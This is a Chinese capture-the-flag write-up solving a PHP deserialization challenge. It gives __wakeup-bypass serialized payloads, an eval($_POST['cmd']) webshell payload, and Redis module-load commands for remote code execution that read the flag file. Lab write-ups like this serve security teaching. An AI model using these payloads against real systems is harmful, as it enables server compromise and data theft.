【天翼杯 2021】esay_eval

2023-05-16 10:58:34 浏览数 (1)

本题考点

  1. php反序列化绕过__wakeup()魔术方法
  2. 利用Redis主从复制漏洞RCE
解题过程
代码语言:javascript复制
<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

这里需要触发A类的__call()方法中eval语句才能实现代码执行,__call()方法可以被B类的__destruct()方法中调用不存在的方法a()时触发,但需要注意的是__wakeup函数会在这个类初始化之前触发。如果等这个函数触发之后,再去执行__call()方法,那么code变量就是一个空字符串了,无法执行心仪的代码,所以需要绕过__wakeup()。根据cve-2016-7124,当对象属性个数大于真实对象属性个数时跳过__wakeup()的执行,但/"[BA]":(.*?):/s这段正则匹配让我们不能直接修改属性个数,这里有两种姿势

因为类名不区分大小写,利用这个性质可以让正则匹配不到而失去限制作用

代码语言:javascript复制
<?php
class a
{
    public $code = "phpinfo();";
}
class b{
    public $a;
}
$a = new a();
$b = new b();
$b->a = $a;
echo(serialize($b));
// O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
// 修改后 O:1:"b":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:10:"phpinfo();";}}

或者通过加一个属性,并把序列化后字符串对象属性个数改为1,让对象属性个数大于真实属性个数即可

代码语言:javascript复制
<?php
class A
{
    public $code = "phpinfo();";
}
class B{
    public $a;
    public $b;
}
$a = new A();
$b = new B();
$b->a = $a;
echo(serialize($b));
//O:1:"B":2:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"b";N;}
//修改后 O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"b";N;}

然后就可以看到 phpinfo 的内容,查看disable_functions那一栏可以发现禁用了很多函数,想要直接RCE非常困难,但是$_POST["cmd"]没被过滤,连上蚁剑试试

代码语言:javascript复制
<?php
class A
{
    public $code = 'eval($_POST["cmd"]);';

}
class B{
    public $a;
    public $b;
}
$a = new A();
$b = new B();
$b->a = $a;
echo(serialize($b));
//O:1:"B":2:{s:1:"a";O:1:"A":1:{s:4:"code";s:20:"eval($_POST["cmd"]);";}s:1:"b";N;}
//修改后 O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:20:"eval($_POST["cmd"]);";}s:1:"b";N;}

连接蚁剑后发现了其他目录不可访问,因为设置了open_basedir,即PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法。但 php 5.3 后少有绕过的方法,所以这个攻击方向暂不考虑。在phpinfo中查看 open_basedir 的目录,发现/tmp也允许读写,

![在这里插入图片描述](https://img-blog.csdnimg.cn/bb368f956bd345ddbac1f18a6adad4e3.png#pic_center)

除此之外,本目录下有一个.swp的 vim 泄露文件,进入查看发现了Redis服务的密码,数据库名、密码、用户名和主机名,很容易想到是利用Redis提权

代码语言:javascript复制
<?php
 
define("DB_HOST","localhost");
define("DB_USERNAME","root");
define("DB_PASSWOrd","");
define("DB_DATABASE","test");
 
define("REDIS_PASS","you_cannot_guess_it");

下载并加载蚁剑Redis插件并连接Redis服务,向/var/www/html上传恶意.so文件(https://github.com/Dliv3/redis-rogue-server)

这里利用了Redis的主从复制漏洞进行RCE

Redis的主从复制 Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机(master),其他实例都作为备份机(slave),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。 Redis模块 在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。编写恶意so文件的代码: https://github.com/Dliv3/redis-rogue-server 利用原理 在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。很多主从复制导致任意命令执行都是通过Redis的未授权访问漏洞导致了横向移动攻击方式的发生。

那么在Redis命令行执行下列命令即可

代码语言:javascript复制
MODULE LOAD /var/www/html/exp.so
system.exec "cat /f*"

还有种姿势是利用蚁剑的绕过 disable_function 插件打穿,下载安装插件后加载,选择模式时选择后面两个模式其中一个即可,其他模式因为 php 版本不符、服务不支持等原因而不适用

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

0 人点赞